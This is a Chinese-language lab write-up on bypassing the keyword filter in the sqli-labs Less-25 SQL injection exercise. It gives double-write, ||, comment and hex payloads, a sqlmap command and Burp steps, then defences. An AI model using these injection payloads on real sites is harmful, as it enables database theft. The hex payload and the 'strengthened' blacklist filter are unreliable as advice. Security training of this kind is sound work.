1. sqli-labs-Less-25靶场环境解析
sqli-labs是一个专为学习SQL注入技术设计的开源靶场项目,其中Less-25是一个经典的过滤绕过关卡。这个实验环境模拟了开发者尝试使用字符串替换函数过滤危险字符(如or/and等逻辑运算符)的场景,但存在可以被绕过的缺陷。
靶场默认使用PHP+MySQL架构,通过docker-compose可以快速搭建:
dockerfile复制version: '3'
services:
sqli-labs:
image: acgpiano/sqli-labs
ports:
- "8080:80"
启动后访问http://localhost:8080即可看到所有关卡列表。Less-25的入口URL通常为/Less-25/index.php,界面呈现为一个简单的登录表单。
注意:建议在隔离的虚拟机或容器环境中运行靶场,避免意外影响生产数据库
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 关卡核心防御机制分析
本关卡的核心过滤逻辑体现在index.php的以下代码段:
php复制$id = str_replace("or", "", $id);
$id = str_replace("AND", "", $id);
$id = str_replace("and", "", $id);
这种防御方式存在三个典型问题:
- 大小写混合过滤但未统一处理(如And/aNd等变体)
- 仅进行单次替换(oroor会被处理为oor)
- 未过滤其他逻辑运算符(如||、&&)
通过查看页面源码可以发现,后端执行的SQL语句模板为:
sql复制SELECT * FROM users WHERE id='$id' LIMIT 0,1
这为我们构造payload提供了明确的方向。
3. 双写绕过技术详解
针对str_replace的单次过滤特性,最有效的绕过方式是双写技术。当过滤"or"时:
- 原始payload:
1' or 1=1 --+ - 过滤后变为:
1' 1=1 --+(语法错误) - 双写payload:
1' oorr 1=1 --+- 过滤流程:oorr → o[or]r → or → 最终保留
or
- 过滤流程:oorr → o[or]r → or → 最终保留
实测可用的完整注入语句:
sql复制1' oorr 1=1 --+
此时后端实际执行的SQL:
sql复制SELECT * FROM users WHERE id='1' or 1=1 --+' LIMIT 0,1
4. 替代运算符的高级绕过方案
除了双写绕过,还可以利用MySQL的特性使用替代运算符:
4.1 管道符绕过
sql复制1' || 1=1 --+
需要确保MySQL运行在PIPES_AS_CONCAT模式关闭的情况下(默认配置支持)
4.2 注释符分割
sql复制1' /*!or*/ 1=1 --+
利用MySQL特有的注释语法执行代码
4.3 十六进制编码
sql复制1' + 0x6f7220 + 1=1 --+
其中0x6f7220是"or "的十六进制表示
5. 自动化检测与利用实践
使用sqlmap进行自动化检测时需要特殊配置:
bash复制sqlmap -u "http://localhost/Less-25/index.php?id=1" \
--tamper=charencode \
--random-agent \
--level=3
关键参数说明:
--tamper=charencode:启用编码绕过模块--level=3:提高检测强度
手工测试时推荐使用Burp Suite的Repeater模块,通过以下步骤:
- 拦截正常请求
- 修改id参数为
1'+oorr+1=1--+ - 观察返回数据是否包含所有用户记录
6. 防御方案与最佳实践
从开发者角度,应该采用多层防御策略:
6.1 参数化查询(推荐)
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id=? LIMIT 0,1");
$stmt->bind_param("i", $id);
6.2 强化过滤逻辑
php复制function sql_filter($input) {
$blacklist = ['or','and','select','union'];
$input = preg_replace('/\s+/', '', $input); // 去除空白符
$input = preg_replace('/\/\*.*?\*\//', '', $input); // 去除注释
return str_ireplace($blacklist, '', $input); // 不区分大小写替换
}
6.3 最小权限原则
为数据库用户设置严格权限:
sql复制CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON sqli.users TO 'webuser'@'localhost';
7. 教学实验扩展建议
为深入理解注入原理,建议进行以下扩展实验:
- 修改过滤规则测试不同绕过方式
- 使用Wireshark抓包分析SQL语句实际执行过程
- 对比MySQL、PostgreSQL等不同数据库的绕过差异
- 尝试在过滤规则中添加sleep()等时间盲注检测
我在实际渗透测试中发现,许多WAF对双写绕过的检测存在盲区。一个有趣的技巧是使用非字母字符分割关键字,如o/**/r这种形式在特定场景下也能绕过基础过滤。
